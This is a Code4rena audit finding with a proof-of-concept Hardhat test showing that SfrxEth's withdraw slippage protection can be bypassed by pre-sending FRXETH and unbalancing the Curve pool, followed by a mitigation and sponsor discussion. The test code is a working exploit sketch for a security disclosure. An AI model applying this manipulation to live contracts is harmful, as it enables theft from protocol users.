code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/SfrxEth.sol#L74-L75

Vulnerability details

Impact

The max slippage in the SfrxEth derivative contract can by bypassed by sending FRXETH to the derivative contract before withdrawing, then, inside the withdraw call, the exchange function on the CRV pool is called with an inaccurate min_out value. This is inaccurate because the min_out is calculated with the amount passed by the SafEth contract, but the amount sent for trading is the FRXETH balance of the contract. It is easy to imagine a flash loan attack where a user can add FRXETH liquidity to the CRV pool to cause the slippage to increase, then by some loan on SafEth (which is easily possible because SafEth is a normal ERC20) they can sell themselves FRXETH for a cheaper price and come out with more at the end of the attack. This attack effectively makes it so that protocol sells FRXETH for cheaper than its actual value.

Proof of Concept

The proof of concept is simple (did not demonstrate attack, but I did show slippage can easily exceed 1%): 1) deposit ETH to SfrxEth 2) Then get FRXETH in some fashion (I just minted it for sake of the PoC) 3) Unbalance curve pool by depositing a large amount of FRXETH 4) Send some FRXETH to SfrxEth contract 5) Call withdraw and observe that slippage has effectively been exceeded

To do this I edited and added some interfaces added interface for IFrxEth

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

// made interface to use mint function for testing
interface IFrxEth {
 function minter_mint(address m_address, uint256 m_amount) external;
 function balanceOf(address account) external view returns (uint256);
 function transfer(address to, uint256 amount) external returns (bool);
 function approve(address spender, uint256 amount) external returns (bool);
}

added some functions to curvepool interface

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

/// https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code
interface ICrvEthPool {
 function exchange(
     uint256 i,
     uint256 j,
     uint256 dx,
     uint256 min_dy
 ) external payable returns (uint256);

 function exchange_underlying(
     uint256 i,
     uint256 j,
     uint256 dx,
     uint256 min_dy
 ) external;

 function get_virtual_price() external view returns (uint256);

 function price_oracle() external view returns (uint256);

 function get_dy(
     uint256 i,
     uint256 j,
     uint256 dx
 ) external view returns (uint256);

 function add_liquidity(
     uint256[2] calldata amounts,
     uint256 min_mint_amount
 ) external returns (uint256);
}

Then I added this test case to the Derivatives test suite inside of SafEth.test.ts

it("Can manipulate max slippage on SfrxEth contract", async () => {
     const sfrxEth = derivatives[1] // get SfrxEth contract

     // Get constants for checking balances
     const ethPerDerivative = await sfrxEth.ethPerDerivative(
         ethers.utils.parseEther("1")
     );
     const derivativePerEth = BigNumber.from(
         "1000000000000000000000000000000000000"
     ).div(ethPerDerivative);

     // make deposit
     const ethDepositAmount = "200";
     const weiDepositAmount = ethers.utils.parseEther(ethDepositAmount);
     const tx1 = await sfrxEth.deposit({ value: weiDepositAmount });
     await tx1.wait();
     const postStakeBalance = await sfrxEth.balance();

     // check deposit succeeded.
     const derivativeBalanceEstimate =
         BigNumber.from(ethDepositAmount).mul(derivativePerEth);

     expect(within1Percent(postStakeBalance, derivativeBalanceEstimate)).eq(
       true
     );

     // create a bunch of FRX for ourselves to make hack happen
     // in real world this can be done through a flash loan
     // Take enough to unbalance CRV pool and mess up slippage
     const FRX_MINTER = "0xbAFA44EFE7901E04E39Dad13167D089C559c1138"
     const FRX_ETH = "0x5E8422345238F34275888049021821E8E08CAa1f"
     await network.provider.request({
         method: "hardhat_impersonateAccount",
         params: [FRX_MINTER],
     });
     const frxMinter = await ethers.getSigner(FRX_MINTER);
     const frxETH = await ethers.getContractAt("IFrxEth", FRX_ETH, frxMinter);
     const frxETHHacker = frxETH.connect(adminAccount);
     const frxFreeAmount = ethers.utils.parseEther("30000");
     const tx2 = await frxETH.minter_mint(adminAccount.address, frxFreeAmount);
     await tx2.wait();

     // choose amount to send to contract before withdraw
     const amntFRXEThToSend = ethers.utils.parseEther("1000")

     // unbalance CRV pool by depositing
     const CRV_POOL = "0xa1F8A6807c402E4A15ef4EBa36528A3FED24E577";
     const crvPool = await ethers.getContractAt("ICrvEthPool", CRV_POOL, adminAccount);
     const tx3 = await frxETHHacker.approve(CRV_POOL, frxFreeAmount);
     await tx3.wait();
     const tx4 = await crvPool.add_liquidity([0, frxFreeAmount.sub(amntFRXEThToSend)], 0);
     await tx4.wait();

     // Send 1000 FRXETH to SfrxETh contract to mess up slippage
     const tx5 = await frxETHHacker.transfer(sfrxEth.address, amntFRXEThToSend);
     await tx5.wait();

     // call withdraw
     const prewithdrawBal = await adminAccount.getBalance();
     const tx6 = await sfrxEth.withdraw(postStakeBalance);
     await tx6.wait()
     const postWithdrawBalance = await adminAccount.getBalance();

     // observe that we sent 1000 to FRXETH to contract before
     // calling withdraw, and we actually deposited 200 initially
     // we get back 1190
     // This means the contract effectively sold 200 FRX for 190 Ether
     // and we can make this exchange rate worse by messing with parameters
     const balDiff = postWithdrawBalance.sub(prewithdrawBal);
     const depositedEXC = balDiff.sub(amntFRXEThToSend)
     expect(within1Percent(depositedEXC, weiDepositAmount)).eq(false);
     console.log(balDiff.div(ethers.constants.WeiPerEther));
 });

Tools Used

I used solidity and test suites inside of repo

Recommended Mitigation Steps

This problem can easily be solved by changing the min_out calculation to be based on FRXETH balance rather than amount passed into the withdraw function inside of SfrxEth.sol

change lines 74-75 to:

uint256 minOut = (((ethPerDerivative(frxEthBalance) * frxEthBalance) / 10 ** 18) *
         (10 ** 18 - maxSlippage)) / 10 ** 18;

c4-pre-sort commented 1 year ago

0xSorryNotSorry marked the issue as primary issue

c4-pre-sort commented 1 year ago

0xSorryNotSorry marked the issue as duplicate of #1035

toshiSat commented 1 year ago

Not a duplicate of #1035

c4-sponsor commented 1 year ago

toshiSat marked the issue as disagree with severity

c4-sponsor commented 1 year ago

toshiSat marked the issue as sponsor confirmed

toshiSat commented 1 year ago

Not high severity due to withdraw being only able to be accessed by SafEth contract. Even in warden's test it shows directly calling withdraw method. This is a valid issue though and we should use the mitigation steps provided by warden

wat96 commented 1 year ago

You can still technically call it the same way through the general withdraw function, I only wrote the test this way because it was easier to show how it works.

wat96 commented 1 year ago

You can still make this test case work by calling the withdraw function on the SafEth contract, I wrote the test this way to explicitly show what I meant, so I disagree that it is only because I am calling the withdraw function on SfrxEth directly.

wat96 commented 1 year ago

Just to clear up any confusion, this bug relies on manipulating the balance of FRXETH on the derivative contract and that is never checked in SafEth or the derivative contract, so this bug always works wherever it is called from. The SFRXETH, a different ERC20 token, is used to report the balance to the SafEth contract.

It makes no difference if this is called from the SafEth contract or directly.

Just wanted to make sure this was clear.